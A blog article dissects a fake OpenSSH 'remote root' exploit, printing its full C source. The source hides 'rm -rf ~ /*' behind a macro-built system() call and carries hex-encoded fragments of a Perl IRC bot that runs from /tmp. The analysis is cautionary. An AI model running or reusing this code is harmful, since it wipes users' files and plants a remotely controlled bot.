The exploit that exploits you
At some point who is interested to become a programmer spend some time on the underground part of the field: the security field, in fact at least one time we played with exploits, bugs and vulnerabilities, at least one time we wanted to be a security professional.
In this article, I won’t tell you what is an exploit1 or a shellcode2, how to do and use it, for that there is Google.
The exploit that I want to analyze it’s a magic 0day that allows you to exploit every machine which uses a version of SSH <= 5.2 remotely. Great, right?
A gold miner for who wants to exploit machines or just create some issues.
This is the code:
/* 0pen0wn.c by anti-sec group
* ---------------------------
* OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
*
*
* Takes advantage of an off-by-one
* bug in mapped authentication space on system
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b
char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
char shellcode[] =
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";
char fbsd_shellcode[] =
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";
#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)
void usage(char *arg){
printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");
printf(" Usage: %s -h <host> -p port\n",arg);
printf(" Options:\n");
printf(" \t-h ip/host of target\n");
printf(" \t-p port\n");
printf(" \t-d username\n");
printf(" \t-B memory_limit 8/16/64\n\n\n");
}
#define FD 0x080518fc
#define BD 0x08082000
int main(int argc, char **argv){
FILE *jmpinst;
char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
int port=23, limit=8, target=0, sock;
struct hostent *host;
struct sockaddr_in addr;
if (geteuid()) {
puts("need root for raw socket, etc...");
return 1;
}
if(argc < 3){
usage(argv[0]);
return 1;
}
printf("\n [+] 0wn0wn - by anti-sec group\n");
if (!inet_aton(h, &addr.sin_addr)){
host = gethostbyname(h);
if (!host){
printf(" [-] Resolving failed\n");
return 1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
printf(" [-] Connecting failed\n");
return 1;
}
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
}
ptr += strlen(jmpcode);
if(target != 5 && target != 6){
memcpy(ptr,shellcode,strlen(shellcode));
ptr += strlen(shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
}
else{
memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
ptr += strlen(fbsd_shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
}
send(sock,buffer,strlen(buffer),0);
send(sock,ptr,3750,0);
close(sock);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
printf(" [-] connecting failed\n");
}
payload[sizeof(payload)-1] = '\0';
payload[sizeof(payload)-2] = '\0';
send(sock,buffer,strlen(buffer),0);
send(sock,payload,strlen(payload),0);
close(sock);
free(payload);
addr.sin_port = htons(6666);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
/* v--- our cool bar that says: "r0000000t!!!" */
printf("\n [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n");
fremote("PS1='sh-3.2#' /bin/sh");
}
else
printf(" [-] failed to exploit target :-(\n");
close(sock);
return 0;
}
It’s an exploit written in C which we can compile without problems, let’s see how it generally works:
There are shellcodes, it seems a normal exploit. There is a simple usage. You need root permissions to use it. It uses the socket, nothing strange because it’s a remote exploit, right? Once inside set the PS1 and that’s it. Perfect.
It looks like a normal exploit but let’s analyze it deeper:
The first shellcode that I want to analyze is:
\x72\x6D\x20\x2D\x72\x66\x20
\x7e\x20\x2F\x2A\x20\x32\x3e
\x20\x2f\x64\x65\x76\x2f\x6e
\x75\x6c\x6c\x20\x26
Let’s try to convert it in a string: rm -rf ~ /* 2> /dev/null &
That is nothing more than a command which allows you to delete your home. WTF?? Why does a similar command should be in an exploit to access to a remote machine?
Let’s search the occurrences of that shell script and we’ll arrive in a declaration line: char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
Looking closer I notice there is a call to a function:
fremote(jmpcode)
Mmh let’s search the usage of that function:
#define fremote build_frem(t,e,s,m,y)
and
fremote("PS1='sh-3.2#' /bin/sh");
Really interesting, let’s go deeper analyzing what the macro does:
#define fremote build_frem(t,e,s,m,y) means we are defining fremote as build_frem with some letters mmh, let’s see what build_frem is:
#define build_frem(x,y,a,b,c) a##c##a##x##y##b
This seems a very strange code bat first of all, what does the ## statement?
In C language the ## operator in the pre-processor operations is used as concatenator of letters, let’s analyze it:
a##c##a##x##y##b that using the parameters and using the previous function become: system
Ingenious!
So at the end of the day, we are calling system(jmpcode) which is going to delete our home.
Of course, the rest of the code is just trash put there to create noises.
This article is made to send a message to everyone who wants to be Hacker trying random exploits without knows how to use them.